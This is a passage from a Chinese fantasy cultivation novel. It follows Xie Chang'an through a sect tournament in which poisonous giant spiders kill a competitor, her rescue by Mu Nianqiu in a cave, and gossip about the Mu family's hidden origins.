她咽下喉咙里的甜腥,心里吐血三升,瞟了一眼冒着不明黑气的醉尘湖。一个大胆的念头浮现出来——事到如今,伸头也是一刀,缩头也是一刀。她当机立断,索性一个翻身跳下湖去——择日不如撞日,与其待在这里猜来猜去,不如下去看看湖底的玄机!
没想到一旁沐念秋竟也毫不犹豫地跟着她跳了下去,黑气越来越重,看不清湖底的情景,湖水似乎有未知的力量,向进入其中的人压迫来,牵动着她的意识向梦境中滑去。
沉睡前,她感觉有人握紧了自己的手腕,恍惚听见一个熟悉的声音,叫了自己已经十年没听过的名字。
“谢常安。”
4. 兰因
“谢常安!”
“小祖宗,快醒醒吧,快点起来啦,三年一度的仙盟演武大会你都想迟到么?”
窗外传来阵阵清脆的鸟鸣,清晨的阳光穿过窗棂,洒在一张桃木小桌上,一桌七零八碎的小物件胡乱堆在一起,桌对面一张同色的单人床,一床被子裹成一坨,依稀可见是个人形,闻声微微蛹动了两下。
来人长叹一口气,顺手捡起掉在地上的衣服,眼皮抬也不抬,喋喋不休道:“天天说你天天也不改,屋子乱成什么样子,平时也不好好用功,这次怕是要把咱们天枢院的脸丢尽了。看看你师兄,早早地就起来打坐练功,还帮我把水挑了柴劈了……”
床上的谢常安神志还在睡梦里,□□先被劈头盖脸数落了一顿。
说话的女人身形微胖,是中年人特有的丰腴,眼角已有细纹,面色却十分红润,声音中气十足,嘴上絮絮叨叨,手里也不闲着,把桌上散落的笔墨纸砚、鸡零狗碎收拾干净,最后掷地有声地总结道:“再看看你,像什么样子?”
谢常安被“别人家的孩子”压的抬不起头,清醒了三分,嘟囔道“芳姑姑,我知道啦,我马上起,马上……”
她把自己从一床被子里刨出来,蹬上鞋子,闭着眼睛穿衣洗漱,不到一刻钟,已穿戴妥当,一身蓝白相间的修身锦服穿在身上,骨肉匀停,瓜子脸,大眼睛,天生一张讨人喜欢的笑脸,端端正正往门口一站,正是二八韶华,十分的人模狗样。
一开口,“芳姑姑,早饭吃什么呀?我饿死啦,我要吃饭!”又是一幅不谙世事的二傻子样。
“你呀,就知道吃,饭在东偏房,你师兄等你好久了,去的时候把……哎,我话还没说完——跑慢点啊!”芳姑姑站在院中拄着扫帚,叹气道:“唉,这孩子……”
谢常安蹦蹦跳跳穿过回廊,轻车熟路的翻过沿墙,把一路的微风、花香全都甩在身后,来到一处院落。
“师兄!”
玉兰树下,石桌旁坐着一名十七八岁的青年,身穿制式相同的蓝白锦服,拿着一卷书,听到喊声青年放下手中的书卷,转过头来,眉眼带笑,温润如玉——正是玉衡山天枢院门下大弟子沈清方。
“安儿,怎么又翻墙,当心摔着,快来坐。”
谢常安三步并作两步蹦到师兄身旁,弯腰打开桌上的食盒,一阵香味扑鼻而来。
“馄饨呀,什么馅的……”不需人来招待,她捧起桌上的饭碗,“师兄,今年的演武大会怎么又是明德宗主办?”
“仙盟演武大会历来由众仙门之首主办,去年江北大旱,沐宗主当仁不让,救济一方百姓,今年百家推举,由明德宗主办本次大会——连任两届仙首可是仙门三百年头一份。”
“唔……师父这次一起去吗?来得及从蜀中赶回来吗?”
沈清方默默倒了杯茶递到谢常安手边,眉目含笑:“嗯,师父和我们直接在白灵山脚的兰茵镇会和,再一起去演武场。”
一炷香后,饭足水饱。谢常安撂下碗筷,收好食盒。
“天色不早了,叫上你的师兄师姐们出发。”
-
约莫一个时辰后,一行人骑马抵达兰茵镇。
正值春季,兰茵镇花草繁茂,河岸边垂柳成荫,几艘小船在河上驶过,两岸人烟鼎盛,摆摊的,叫卖的,来往行人络绎不绝,一派宁静祥和。
小镇坐落在白灵山脚下,传说白灵山是五百年前昆仑神女第一次降临人间的仙山,山上终年仙气缭绕,灵气充沛,是圣洁得不能再圣洁的地方,所以经常有仙门子弟来灵山祈福、修行。
兰茵镇也因此得神女庇佑,有许多慕名而来的香客,来到圣地观光,小镇也因此多了许多生意,颇有江南鱼米之乡的富庶繁华。镇上的百姓平日里见惯了各色行人,对这次来参加演武大会的各家弟子见怪不怪习以为常,纷纷热情地招呼起来。
谢常安跟在一众师兄弟身边,东瞅瞅西看看,空气里淡淡的草木香混合着各色小摊儿散发的小吃香,
远近摆摊叫卖声,男女老少,高矮胖瘦的行人,五光十色,目不暇接。
不远处传来阵阵烧饼的香气,有五香的、白糖的,她眼睛一亮,一摸腰间,却发现自己的荷包不见了,眉头一皱,嘴角一撇,快走两步,拉了拉沈清方的衣角,小声嗫嚅道:“师兄,我好像又把荷包搞丢了。”
不待沈清方开口,她快速接上自己的话:“师兄,不用麻烦,帮我牵下马,你们在前面路口等我吧,我自己回去找找,好像是来的时候掉在镇口了。”
顾不上香气扑鼻的烧饼摊,谢常安目光如汇,沿着刚来的路一顿猛找,抬眼间,看到街边阴影里一个不起眼的角落里,快步走过一个蒙着头的灰袍人,光天化日鬼鬼祟祟反而有点引人注目。
看背影不知为何隐隐有几分眼熟,正疑惑间,一阵风起,吹开了灰袍人一片衣角,露出一角蓝白衣角——正是这次演武大会各家参赛弟子统一穿着制服。
“搞什么?既是参赛弟子,遮遮掩掩的干什么?”
按耐不住蠢蠢欲动的好奇心,谢常安花了两秒钟做好决定——“我得跟上去瞧瞧!”
她三两下脱下参赛的外袍,揉成一团抱在怀里,鬼鬼祟祟地远远跟着灰袍人,只见那熟悉的身影避开人群,七拐八拐走进了一个僻静的小巷子,绕到一个药铺的后门——却没有进去,而是从墙上取下一块砖。
距离太远,又有袍子遮掩,不管谢常安怎么探头,都看不见他的正脸。
接着灰袍人把手伸进墙上的凹槽,摸索两下拿出一个瓷白的小瓶子,然后又从兜里掏出一小团明黄色的东西放了回去,最后又熟练地把砖推上,一刻不停留,转身走了。
等人走远,谢常安才螳螂捕蝉黄雀在后,蹑手蹑脚的走近墙洞——墙砖看起来严丝合缝,不事先知道仔细观察根本发现不了墙上还暗藏玄机。她小心挪开墙砖,从洞里抠出一张叠成三角形的黄纸,打开一看,却是一张符咒。
符咒是仙门中十分常见的符咒,用于镇宅安家,趋吉避凶。
谢常安丈二和尚摸不着头脑,自己折腾半天这是干了点啥?这么普通的符咒,为什么搞得神神秘秘,难道是有什么自己看不懂的玄机?
她再三细看,也觉得是一张普通的符咒,只得一脸问号地又把符咒原样塞了回去。
刚走出小巷,身后传来一声呼唤。
-
“师妹——”
一个憨态可掬的胖子朝谢常安招着手,球儿一样滚了过来,明明穿着同样的衣服,却足足有两人宽。
“四师兄,你怎么来啦?”
“师妹师妹,你跑哪里去了,这么半天,让我好找。师父师姐都到了,大家都在等你呢,你怎么跑这来了?”
“师
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父回来啦!快走快走,师父师姐怎么样,想我了没有?”
“哎我说你荷包找着没有……”
四师兄一边听着师妹叽里咕噜的废话,一边带着她往回走。不一会儿,两人回到了来时的路口,一辆马车驶过,他灵活地一错身,一把把谢常安扒拉到路内侧。
谢常安又看到熟悉的烧饼摊,两眼放光,越走越慢,白忙活半天肚子还真有点饿了。她咽了咽口水,瞟了眼四师兄,指了指烧饼摊方向。
“嘿嘿,四师兄,你带没带钱嘛,我想吃那个烧饼。”
“……”
-
“师父!师姐!”
没走多远,两人来到小镇东门,一旁的四师兄眼前一亮,一行人簇拥下,中间一名白衣飘飘的中年男子,风尘仆仆,面色沉静柔和。白衣男人身旁站一红衣少女,明眸皓齿,英气逼人,正和身旁的师兄弟们相谈甚欢。
二人正是数月未见的师父和二师姐,二人一同南下蜀中,平定妖物作乱,一走就是小半年。
师父沈星河作为天枢院掌门,经常出门在外,降妖除魔救死扶伤。天枢院五百年前建立在南方玉衡山上,以“兼爱”为门风,主张“理顺灵脉,渡化为主”,门下弟子多主修“炼化”,分为“炼气”和“御物”两脉。
“炼气”即为渡化怨气,平息恶灵邪祟妖物作乱;“御物”则为炼化法器,制造一些功能各异的小法器辅助。
门下弟子通常兼修两脉,两种手段都比较平和,攻击性不高,久而久之,门下弟子多擅长治疗法术和结界护盾,打不过就跑,跑不掉也能医好。
天枢院门风自由,大多数时候不要求一众弟子每日循规蹈矩的听课练功,每年定期考核,考核通过即可。二师姐素来不喜拘束,平生最喜游离四方,因而一年到头在师门待不了几天,每去一处经常给谢常安他们这些师弟师妹们寄信和当地特产礼物。
难得二人同时回来团聚,谢常安心中高兴,手里拿着半个没吃完的白糖烧饼,迫不及待地一步三蹦跑向他们。
“师父,你回来啦!”
“师姐,一年到头,可算见到你一回啦!”
“你知道我的——”二师姐一脸慈爱。
“师父,你们怎么去了那么久,蜀中那边怎么样?”
闻言,沈星河眉头微微一皱,面色不由得一沉:“蜀中西临妖界,历来归属不明,地势险峭,无仙家愿管,经常有妖物作祟,百姓民不聊生。前阵子传来消息,蜀中妖物作祟,已致百人死亡,可是此去蜀中我们发现情况比预期的还要严重——竟已有近千人死亡。”
他停顿几秒,接着道:“最奇怪的是,我隐隐感觉到有一股势力在暗中阻止我们调查下去。”
身旁刚才兴致勃勃的小辈们,一听这些,顿时面色沉重垂头丧气。
沈星河又拂了拂衣袖,话语间温和了几分:“先不说这个了,这次演武大会你们准备的如何?听说明德宗沐宗主可是拿出了玄鸟妖丹。”
沈清方:“玄鸟一族生于赤枫谷,本就极其稀少,不同于寻常妖物,通神性,可翱翔九天,捕获十分困难。这妖丹离体不熄,不仅可助人增千年修为,据说还能使断肢重生,何其珍贵。沐宗主竟把此物拿出来作为魁首的奖品,当真是气度不凡!”
话音刚落,周遭一片骚动,一旁有人惊呼:“快看天上,那是什么?”
5. 开端
只见云霞掩映下,自天边飞过一群修士,背生双翼,所过之处拉出一片五彩霞光,绚烂非凡。
二师姐见多识广:“离望岛羽织族居然来了。”
四师兄:“羽织族?”
“嗯,羽族生活在远海暗礁区的离望岛,天生生长双翼,飞行时能织造彩霞,据说祖上是西王母座下,因犯了天规被贬下凡间,从此生活在离望岛上,很少出来参加人间的事。”
“师姐,那你去过离望岛吗?”谢常安问。
“我只知道离望岛在海上东南方向,与我们隔海相望,路途遥远,再加上羽织族不喜外人去他们的地盘,所以并未去过。”
一旁弟子问:“往年演武大会他们从未出席过,这次怎么会来?”
众人疑惑不语,这时沈星河若有所思,开口道:“羽织族族长天生缺一翼,此次来参加演武会,恐怕是志在必得。”
沈清方抬头望着天边渐渐消散的彩霞,感叹道:“真是天下熙熙皆为利来,天下攘攘皆为利往。”
沈星河收回目光:“好了,时辰不早了,我们也赶快过去吧!”
众弟子七嘴八舌地继续赶路,谢常安后知后觉跟上大家的脚步,没头没脑地开口问道:“师兄,你说西王母是真的存在么?”
沈清方失笑道:“你呀!”
-
白灵山脚下,层林叠翠间,设置了一圈防止凡人进入的结界,中间一大片空地,空地上一座金碧辉煌的高台——演武台,台下各门派参赛弟子围成一大圈,台上众门派掌门宗主端坐成排,场面宏大壮阔,气势非凡。
只见正中央一名器宇轩昂的中年男子,周身正气凛然,不怒自威,正是此次演武大会的盟主——明德宗宗主沐观海。他身边站着一个身量苗条,面容秀丽的女子,虽面带三分病色,花容月貌却不减半分颜色,反而更添了一丝韵味儿。
沐观海伫立高台之上,俯瞰台下一众弟子,神色自若地开口道:“诸位,我仙盟泱泱百年,仙家众多,各门派英才辈出,沐某不才,承蒙各位抬爱,忝具盟主之位,这次比赛希望各门派的年轻子弟可以一起切磋一下,交流心得……”
台上沐宗主滔滔不绝,台下谢常安站在人群中已然神游天外,她越过人群四处张望,听见不远处有人小声议论。
“都说沐夫人美貌非常,今日一见果然是名不虚传啊。”
“啧,盟主夫人虽然出身低微,可是沐宗主对她特别的好,两人十几年琴瑟和谐,伉俪情深。哪怕夫人身体不好一直无所出,宗主也没有再纳妾另娶,当真是一段佳话……”
“哎,那他俩是怎么认识的?”
一旁有人打断道:“行了,你们别说了,快好好听着!”
待沐观海说完,演武台上一名弟子端出一个托盘,上面放着一个精致的檀木盒子,盒子里托着一颗火红的珠子,流光溢彩,熠熠生辉。
“本次演武会,我代表明德宗拿出这颗玄鸟妖丹作为魁首的奖励,希望各家少年英杰都全力以赴,共创佳绩!”
一旁一名青衣薄衫,眉眼带笑的男子打趣道:“哪个不知道明德宗的两位公子人中龙凤,天资卓绝,这次这个奖励怕是要肥水不流外人田了,沐宗主可真是打的一手好算盘。”
沐观海客气道:“不敢不敢,犬子无才,上官门主过奖了。”
另一人开口:“这届小辈能人辈出,鹿死谁手还未可知,快看比赛吧!”
一名弟子上台宣读比赛规则,这次演武大会地点选在白果林,抽签分组,抽到同色签的四人为一组,林内设有结界,无法进出,已提前在林中放置各色妖兽,每组发一枚玉牒,玉牒需佩戴在外,比赛时长为两个时辰,时间到后手中玉牒数最多的小组获胜,获胜小组中猎杀妖兽数量最多的组员则为本次比赛的魁首。打斗点到为止,不可伤人性命。
-
白果林中,谢常安一行四人正沿着小溪向东走。
一人道:“各位队友,咱们把玉牒放谁身上?”
谢常安拉过身旁一名少女:“唔……我觉得还是放在文萱身上最妥当。”
那人上下打量了一下文萱,只见她身量不高,面容白皙,长发微卷,一幅文弱可亲之态。质疑道:“就她?这次比赛输赢可全在争夺玉牒上,她一介女流之辈,行得通么?”
“张公子,知春堂主修近战,萱萱是堂主长女,一双匕首出神入化,自然没问题。”
“可是……”
又一人道:“嘘,大家先别说了,什么声音?”
四人闭上嘴,屏息凝神,只听得旁边树丛中一阵微乎其微的窸窸窣窣,听起来像是咀嚼什么东西的声音。
“大家小心,我去看看。”
“张公子,你小心啊……”文萱说。
“怕什么,演武大会只放些驯化过的低阶妖兽,伤不了我。好了,你们小声点吧,免得让它跑了——你们可别拖我的后腿!”
“……”
姓张的师兄是苍翎门内门子弟,平日仗着自己天赋不错,自视甚高,此时根本不把同组的三人放在眼里。
都是一组的,谢常安无意与他争执,一行四人蹑手蹑脚地往树丛里探去。
“张公子,我……”文萱突然开口。
张公子没注意到身后跟过来的文萱,吓了一跳,不满叫道:“我……嘶,你什么时候跟过来的,走路怎么没声,想吓死我么?!”
“对不起啊,张公子,我不是故意的……我是想说,我觉得不对劲啊,刚才这片林子雾气有这么重么?我怎么感觉背后凉飕飕的,好像……附近有什么危险的东西。”
“你胡说八道什……”
话没说完,四人头顶从树上掉下一只半人大的蜘蛛,腿上毛发粗壮如同倒刺,后背长着几道红色条纹,嘴里不知嚼着什么,张牙舞爪地向四人扑来。
“萱萱小心!”
文萱像一只受惊的小白兔,赶忙蹦到谢常安身后。
张公子豪言壮语已经放出,此时当缩头乌龟实在没面子,只得故作轻松,挥剑就砍。
好在那蜘蛛已然伤重,空有其表,张公子也不全然是草包,此时出手,恰到好处。他一剑砍飞蜘蛛几条腿,紧接着手腕翻出一个华而不实的剑花,一剑当空,直把蜘蛛钉死在地上。
大蜘蛛挣扎的机会都没有,直接断了气。张公子松了口气,得意洋洋擦掉溅到手上的粘液,鄙夷道:“哼,不过如此
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。”
见蜘蛛已死,大家心下稍安。另一人抬脚踢了踢那大蜘蛛,问:“这是什么怪物?今年演武会怎么放这么恐……恐怖的妖兽?”
谢常安看着蜘蛛断肢一片粘液横流,躯体被刺穿,更是血肉模糊,实在恶心,“噫,咱们还是先别管这么多了,这林子里雾气越来越重了,咱们速速离开这再说吧!”
“对对对,二位公子,咱们听安安的吧。”文萱一旁附和道。
张公子见二人胆小怯懦,对比自己英勇神武,更自觉威风凛凛,便一把拔出插在蜘蛛尸体上的长剑,正欲开口嘲讽。
“我当是……”
话没出口,忽的他脸色大变,痛苦地掐住自己的脖子,张大了嘴。几秒后竟是口吐白沫,四肢扭曲,倒地不起。
电光火石之间,几人眼睁睁看着活蹦乱跳的张公子突发恶疾,又惊又疑,手足无措。
“他这是……怎么了?”
“不会是……”
没人敢说出那个字来。
谢常安愣了两秒,蹲下身去,伸手探了探张公子鼻息——人已经暴毙身亡了。
“死了?”
“死了。”
“……”
好端端一个人突然横尸眼前,任谁也无法无动于衷。
文萱回过神来,上前拉开谢常安,担心道:“安安别碰了,小心中毒啊!”
说着她捡起一根树枝,挑起张公子被压在身下的右手,这只手已经肿胀青紫,人都死了,紫色沿着经脉还在不断向上蔓延。
蜘蛛的黏液果然有毒!
谢常安修习十余载,从未遇见过这种人命关天的大场面。此时心中不免害怕,强作镇定环顾四周,只觉雾气中好像有无数双眼睛在盯着自己,张公子死不瞑目的脸在她的脑海里挥之不去。她被自己丰富的想象力吓得不轻,只觉寒毛倒竖,一刻也待不下去了,当机立断道:“快跑,咱们快跑吧!”
另一人指着地上的死尸,犹豫道:“那……那张公子怎么办?”
人都死了,还能怎么办?谢常安可没心情给谁收尸了,索性破罐子破摔:“就放那别管了,反正人都死了,咱们现在恐怕自身难保,管不了这么多了!”
-
一阵沉默后,还活着的三人迅速达成共识,丢下张公子的尸体,沿着来时的小溪一路狂奔。
他们仨本就胸无大志,根本不奢望能有什么好成绩,自觉纯属来凑数的,此时全然忘了比赛,只想赶紧回到入口处,离开这个鬼地方。
文萱心有余悸:“演武大会历来点到为止,绝不会伤人性命,为什么白果林里会有这么……啊!!”
话音未落,她一脚踩空,尖叫出声。谢常安紧跟其后,一时刹不住脚步,哎呦一声跟着踩了个空,一头撞到文萱背后。两人失去平衡,抱作一团,滚下山坡。
雾气弥漫,三人只顾逃命,不知何时竟已偏离了来时的路线,谁也没注意到眼前的陡坡,这才失足跌落。
同组的另一人见二人掉下坡去,本想下去拉二人一把,却只见山坡下雾气中亮起几团不祥的红光,二人的身影隐藏在雾气中,已全然看不见了。
他见状犹豫了几秒,转身跑了。
6. 脱险
山坡下,草丛里飞出几只蜘蛛,头顶上的眼睛里闪烁着红光,状如闪电向两人扑来。
谢常安刚摔了个七荤八素,顾不上天旋地转,来不及起身,抱住文萱顺势又滚了几圈,躲过几只蜘蛛饿虎扑食般的进攻。
说时迟那时快,她从怀里迅速摸出几张符咒甩了出去,空气中爆发出一阵噼里啪啦的响声,几只蜘蛛一时间被当头炸得不敢上前。
两人赶忙一个鲤鱼打挺跳起来,正要狂奔,迎头却是一阵地动山摇,一只前所未见的两人高的巨大蜘蛛,破开浓雾,堵住了二人的去路。
巨型蜘蛛通体漆黑,身体表面附一层坚硬的外壳,背上生着暗红色妖纹,八条蜘蛛腿足足有人的腰粗细,每条腿上都生长着锋利的倒刺,反射出恶毒的光芒。
“安安……”
“没事的,有我在……”
大蜘蛛不断发出“咝咝”的声响,看上去心情不错,胃口也好极了。它从容地盯着自己的猎物,张口喷出一团紫色毒液,所溅之处,花草尽枯。
谢常安嘴上安慰着文萱,心里却是心如死灰,她怎么也不明白,明明几个时辰前她还在床上舒舒服服地躺着,为什么转眼之间就命悬一线,要和这种可怕的怪物狭路相逢——这简直是飞来横祸祸不单行倒霉到家了!
虽说她从小打架打不赢,逃跑第一名,可就凭她俩这点微末的道行,要想从这种级别的怪物手下全身而退,简直是痴人说梦难如登天!
今天要是莫名其妙的交代在这,那死的也太冤枉了。
她又想起张公子口吐白沫的样子,张公子好歹还留了个全尸,嘎嘣一下死的痛痛快快,她们呢?前面不知道还有多少危机等着她们。
早起吃的师兄包的馄饨,不会是最后一口了吧?
情况糟糕至极,她心里反而一阵平静。
“安安!你想什么呢?快起来跑啊!”
谢常安出了一脑门汗,风一吹一个激灵,她硬着头皮爬起来,一阵后怕。现在哪里是胡思乱想的时候?还没怎么样呢就先想死,实在是太晦气了!
仔细想想这蜘蛛绝对不可能是演武大会正常投放进来的妖兽,也不知道外面的人知不知道白果林里面的情况。
“小心,快躲开!”文萱一把拉开谢常安,一团黏液落在她刚刚站过的地上。
为今之计是想办法通知外面的人,等待救援。
“萱萱……”
前有狼后有虎,身后几只小蜘蛛见两人没了去路,纷纷围了上来,虎视眈眈地等着猎物慌不择路。谢常安看向文萱,两人交换了一下眼神,瞬间明白了对方的意图。
此时已无退路,只有向前赌一把。
谢常安捻了一个火诀丢向身后,一道火墙腾空而起,挡住了一瞬身后的小蜘蛛。火墙的威力只够维持几秒,与此同时,文萱从腰侧抽出一把匕首,闪身至巨型蜘蛛脚下。
那匕首材质极佳,薄如蝉翼,像一道光在文萱手中翻飞。她身形灵巧极了,如同鬼魅一般,滑到大蜘蛛身下。灵力汇聚于匕首之上,狠狠插进蜘蛛腹部。
蜘蛛体型巨大,行动笨重,眼睛长在头顶,没法及时看清自己脚下。突然吃痛,愤怒地移开身体。八条腿在空中胡乱地蹬着,挥倒了一大片树木。
两人不再恋战,抓住这个机会,冲出包围,拔腿就跑。
才冲出一条生路,身后火墙已熄,几只小蜘蛛争先恐后地追了上过来。
“啊!”
闷头跑出数百米,文萱突然大叫一声,只见她胳膊上一片可怖的紫红色伤痕,踉跄间差点跌倒。
谢常安赶忙停下脚步,扶住文萱。短短时间,二人已跑至树林深处,抬眼看去,树木枝杈间挂着几张亮晶晶的巨大蛛网——其中一张最近的刚让文萱撞上,一角已经破损。
蛛网带有强烈的腐蚀性,此时文萱的胳膊已经是一片血肉模糊,流血不止。
“萱萱,你忍一下!”
来不及处理,谢常安快速点了几个穴位给文萱止血。
两人刚才只顾逃命,衣服被身旁树枝灌木划破也顾不上,再加上之前连滚带爬,浑身又脏又破,皆是一片狼狈。
只停下这一小会儿,几只小蜘蛛又快速围了上来。一阵地动山摇,巨型蜘蛛撞到一片树林,也扑了上来!
千钧一发之际,谢常安一把推开文萱,大喊道:“快跑,去找我师兄!”
“那你呢?”文萱担心极了,但还是听她的话,一步三回头地拼命逃跑。
谢常安快速从腿侧抽出一把匕首,划破手掌,扔在地上,以血为契,双手在空中快速结印,撑起一个强力护盾。
鲜血的气息弥漫开来,所有蜘蛛都被新鲜血液的气味吸引,全部扑向谢常安!
护盾只抵住了巨型蜘蛛一瞬,一股恐怖的大力袭来,她被撞得七荤八素,紧紧闭上双眼,向后倒飞出去。
“啊呀!我要完啦!”
正当她以为自己小命难保在劫难逃,却撞入一个坚硬的怀抱。
一双有力的手稳稳拖住了谢常安的后腰和后背,帮她卸去了大部分力道。她来不及回头看是谁,已经跟着身后的人向后飞了出去。
两人就这么掉进了一个地洞里。
-
虽然说有枯枝藤蔓做缓冲,可两人还是重重的摔到地上。谢常安浑身散架了一样疼,摔的是一个七荤八素,她警惕地张望起四周,下意识抓住身边人的胳膊。
洞穴里阴暗潮湿,一片漆黑,什么也看不见,巨型蜘蛛见到嘴的猎物不见了,还在猛烈地撞击洞口,洞口经不住撞击,碎石枯枝不住地往下掉落。
“啊……”
“走。”
身边那人拉住谢常安的手,飞快向洞穴更深处退去。
地洞比想象中更深,两人七拐八拐跑了半柱香时间,来到一片相对开阔的地带,渐渐听不见撞击洞口的声音,不见蜘蛛再追来。
洞穴里竟别有洞天,四周岩壁上附着着细细的水珠,十分光滑,养出一片苔藓。洞顶上长着一片鳞次栉比的钟乳石,中间潭水漆黑,岸边生长着一片发着微光的小草,星星点点,照亮了一小片角落。
停下脚步,谢常安借着微光,这才有空打量起身旁的人。
身旁人不是别人,正是明德宗二少主沐念秋。
她隐约记得,两人在两年前灵山修行时认识的,修行不过两月有余,各家弟子众多,回去后再没机会见过。她自认为两人关系说不上生分,但也算不上太熟——再加上自己偶然撞见过沐念秋一点儿不为人知的秘密,说不好对方介不介意,气氛一时间有些僵硬。
眼前的人身量修长,眉目舒展,似乎比两年前长高了不少,褪去了几分少年的青涩。
之前兵荒马乱只顾跑路,现下乍一停下来,空气安静得有些尴尬。
“沐……师兄,好久不见,刚才谢谢你啊,要不是你,我恐怕……嘿嘿。”谢常安见沐念秋不说话,率先开口,
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没话找话。
沐念秋沉默不语。
谢常安见他没反应,担心到:“沐公子?你怎……”
沐念秋却蓦的转过身来,一双桃花眼静静地看着谢常安,琥珀色的瞳仁,眼尾一颗泪痣,三分绝色,十分深情。
谢常安被看得无端的一阵心虚,心道:“他以前也这么让人招架不住么?”赶紧左顾右盼,把到嘴的话忘了个一干二净。
沐念秋却移开目光,仿佛刚才的一切都是错觉,神色淡淡开口问道:“你没有什么要对我说的吗?”
两年不见,有什么话可说?叙旧吗?在这鬼地方?
谢常安眨了眨眼,摸不着头脑,瞧见沐念秋蓝白锦服衣角上几道鲜明的血印子,应该是刚才两个人从洞口摔落,抱作一团的时候蹭上的。灵机一动,三纸无驴地开口道:“那个……对不起啊,我手上的血好像不小心蹭到你身上了,把你衣服弄脏了哈……”
沐念秋收回目光,似乎有点不悦,转过身道:“无妨,过来一下。”
“哦。”
谢常安没敢多问,跟着他向里走去,两人坐到水潭边的一块大石头上。
“伸手。”
“诶?干什么……”谢常安一时不解,一边小声问一边伸出两只手做乞讨状。
沐念秋神色如常,低头牵起她的左手,翻出自己的袖口细细的擦掉她手心上干涸的血迹,紧接着又从怀里掏出一方灰色手帕,手帕一角绣着一片火红的枫叶,干净又柔软。
他折好手帕,轻轻地给她做了一个简单的包扎。
光顾着逃命,谢常安早把手上的伤口忘了一干二净,没想到他还注意到了这些,有点吃惊,又有点感动。
“咦,我有条和你很像的手帕诶,好巧!”
沐念秋低头不语,一边包扎,一边看着她没心没肺的样子,心想:真是蜜罐子里泡出来的小公主。
谢常安见他不回答,也不介意,安静地看着他低头包扎的样子,微光在他的侧脸上渡了一层柔和的光影,他眉头微蹙,目光却近乎是温柔的。
在这种地方能遇到认识的人,这无疑对她来说是一种莫大的安慰。
“谢谢你啊,你人真好。”
“别谢我,下次小心点。”
-
包扎完,两人坐在石头上一边休息,一边商量接下来的打算。谢常安百无聊赖地拨弄起身旁的小草,点点星芒纷纷扬扬,好像飞舞的萤火虫。
“唔……这里竟然有流萤草,我还是第一次见到,听说这个一般生长在妖界,亮晶晶的好漂亮。”
“嗯,这里背靠白灵山,灵力充沛,这个地洞昏暗偏僻,鲜少有人来,流萤草长在这里也不奇怪。”
她接着问:“沐师兄,你刚刚怎么也在那边林子里啊?你没事吧,有没有受伤啊?怎么会有那么多蜘蛛,太可怕了,我刚才真的差点挂掉诶!对了,唉,和我们一组的张师兄你知道吗?他死了,太惨了,好端端的参加比赛,竟然遇到这种事,唉……”
沐念秋听着她一个人说出了七嘴八舌的效果,耐心地答道:“我和同组的人走散了,碰巧路过,没有受伤。这次意外……据我所知,血玉蜘蛛生长在蜀中,这次出现在这里,肯定是有人故意为之,此人用心险恶,害死这么多人,不知道有什么目的。”
“蜀中?”
“怎么了?”
“……哦,也没事。也不知道萱萱怎么样了,有没有遇到危险,咱们……”
7. 生辰
“常安——”
头顶传来几声呼唤,是沈清方的声音。
谢常安听见师兄的声音,兴高采烈地就向声音的方向跑去,终于在不远处发现一个洞,只见岩壁上方一道光倾斜而下——一个两人宽的洞口通向地面上。
洞口沈清方正焦急地往下探去,看见她安然无恙,这才放下心来。
谢常安看见师兄来了,顿时腰杆子都直了起来,气宇轩昂地朝上喊道:“师兄,你怎么才来,疼死我啦!萱萱呢,她不是找你去了吗?”
“放心,大家都没事。诶?沐公子怎么也在这?”沈清方看到谢常安身后站着的沐念秋,有点儿眼熟,便一个接一个地把人拉了上来。上来后,沈清方顺手拍了拍谢常安一身的土,正欲细问,一回身,不及开口。
沐念秋目光一沉,客气地一拱手,不咸不淡地冲两人道别。
“诶……”
谢常安正想好好感谢他,话到嘴边,却看见他已经转身走了,只得作罢。
-
回去的路上,谢常安才知道,原来自己和沐念秋在洞中的时候,外面的人已经破开结界,诛杀妖兽,救出各位参赛子弟了。
文萱找到沈清方的时候,受了点轻伤,沈清方看局势也基本上控制住了,就叫她不要担心,让她先和家人回知春堂了。谢常安听说文萱伤势不重,已无大碍,已经回家了,也放下心来。
“安儿,今天怎么沐二公子也和你一起在地洞里?”
“沐师兄啊,他正好救了我,当时有那么大一只大蜘蛛,好像叫什么……‘血玉蜘蛛’,直冲我面门!我差点以为自己要交待在那了,结果沐师兄从天而降,拉着我一顿跑,我才逃过一劫。”谢常安一边讲一边眉飞色舞地比划,眼神不住地往烧饼摊上瞟。
沈清方买了个烧饼递给她。
“对了师兄,沐师兄家里人怎么没来接他?我听说沐宗主只娶过沐夫人一个妻子,沐夫人不是一直没有孩子么,为什么沐家有两位公子?”谢常安逃了一天命,实在是饿了,一边走一边吃。
“嗯……我了解的也不太多”沈清方迟疑两秒,看看四周,还是开口道:“沐家这两位公子,其实都不是沐宗主亲生的。沐家大公子沐子凛是沐宗主师弟的遗孤,据说当年沐宗主还没继任时,他的同门师弟在一次除妖中意外死了,沐宗主仁义,收养了师弟的孩子,当做自己亲生的孩子一样照顾长大。”
“那沐念秋呢?”
“沐二公子是沐宗主死去的亲妹妹沐听涛的私生子,当年沐小姐在仙门中天赋极高,同辈中无人能及,一柄‘破风剑’使得出神入化,可后来不知道怎么,未出阁却有了孩子,一时间传得沸沸扬扬。再后来,沐家可能是觉得丢人,就把她关在家里,外面再也人没见过她了。”
“啊……后来呢?他母亲现在怎么样了?”
“后来,没过几年……郁郁寡欢,就去世了。”
谢常安心下惋惜,烧饼吃着都不香了。
“那他父亲呢?他母亲这样他父亲知道吗?”
“不知道,这件事除了沐家人应该没人知道,谁也不知道当年沐小姐的孩子是谁的。安儿……”沈清方欲言又止。
“怎么了师兄?”
“君子不背后语人是非,有句话不当讲,可我放心不下你。今天我见沐二公子面色阴沉,好像不太好相处。你觉得……他怎么样?”
“嗯……他只是看起来有点凶,其实人非常好,是个很好很好的人,今天幸好有他,师兄你看,我的手还是他包的呢!”
“安儿,你们好像很熟悉,不是刚认识的,你们是什么时候认识的?”
“师兄你还记得两年前灵山祈福修行吗?我们那时候就认识了,只不过那个时候我们还不太熟,没想到他人这么仗义!”
“看来沐公子的确是个不错的好人,只是你年纪还小,防人之心不可无。如今的明德宗风头正盛,他们沐家里边恐怕比想象中复杂,你一定要多留心。沐公子……他虽看起来心性纯良,但是我总担心,他未必就如表面上这么简单。”
“师兄我会小心的,沐公子不会害我的……对了,今天的比赛,死了好多人,到底是怎么回事啊?”谢常安转移话题。
